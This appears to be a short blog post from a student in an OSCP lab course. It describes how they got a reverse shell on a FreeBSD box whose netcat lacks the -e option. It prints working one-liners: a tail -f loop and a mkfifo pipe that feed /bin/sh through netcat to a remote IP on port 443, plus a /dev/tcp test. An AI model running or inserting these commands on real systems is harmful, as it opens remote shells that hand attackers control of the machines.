Recently in my OSCP course, I was struggeling a few hours to get a reversed shell connection. It was a FreeBSD box, not quite my expertise. Finally I came up with a simple solution using tail -f.
I immediately found that netcat was installed, but ofcourse without the e-option.
All references to netcat without -e suggest you use a backpipe
to relay standard output from commands piped from netcat to /bin/bash
back into netcat. After trying harder for many many many tries, I finally
came up with the following simple solution.
- Use tail -f to feed commands from a temporary file to bash. (Using -n 0 to ignore any current content of the temporary file.)
- Redirect the output of the shell command to netcat.
- Redirect the output of netcat to the temporary file, so the tail command picks it up…
The result looks like:
tail -n 0 -f /tmp/1 | /bin/sh 2>&1 | nc -nv 10.11.0.49 443 1> /tmp/1
That’s awsome! But don’t forget, all your commands are stored in the /tmp/1 file… (ツ)
From many other options I found, none seemed to work. A quick test showed that the famous /dev/tcp/<ip>/<port> did not work either. The following command did not result in any response on my machine.
echo foo > /dev/tcp/10.11.0.13/443
Ofcourse, after having rooted the machine, I was still wondering whether other options found on the internet could work too. In my case I was able to execute multiple commands by separating them with a semicolon. This way a pipe is created first, followed by: netcat reading input from that pipe, netcat redirecting output to bash, bash redirecting stderr and stdout to the pipe again.
mkfifo pipe; nc -nv 10.11.0.13 443 < pipe | /bin/sh 2>pipe >pipe
Wrap up
To wrap up, which things slowed me down finding a way to obtain a reverse shell?
- Not understanding the mkfifo pipe command. This command makes a pipe in the current directory. So not having any rights there, just really does not help…
- Forgetting that the & character should be url encoded and not by using &. This made me lose the stderr output, that just really does not help either…
- When uname -a gives back “FreeBSD … amd64” you probably should not try your Linux/x86 binaries. Oke, but where/how do I get a FreeBSD/amd64 payload?
- Oh, and last: chmod +x did not work, chmod 777 did the job… (◔_◔)
If at first you don’t succeed, try, try, try harder!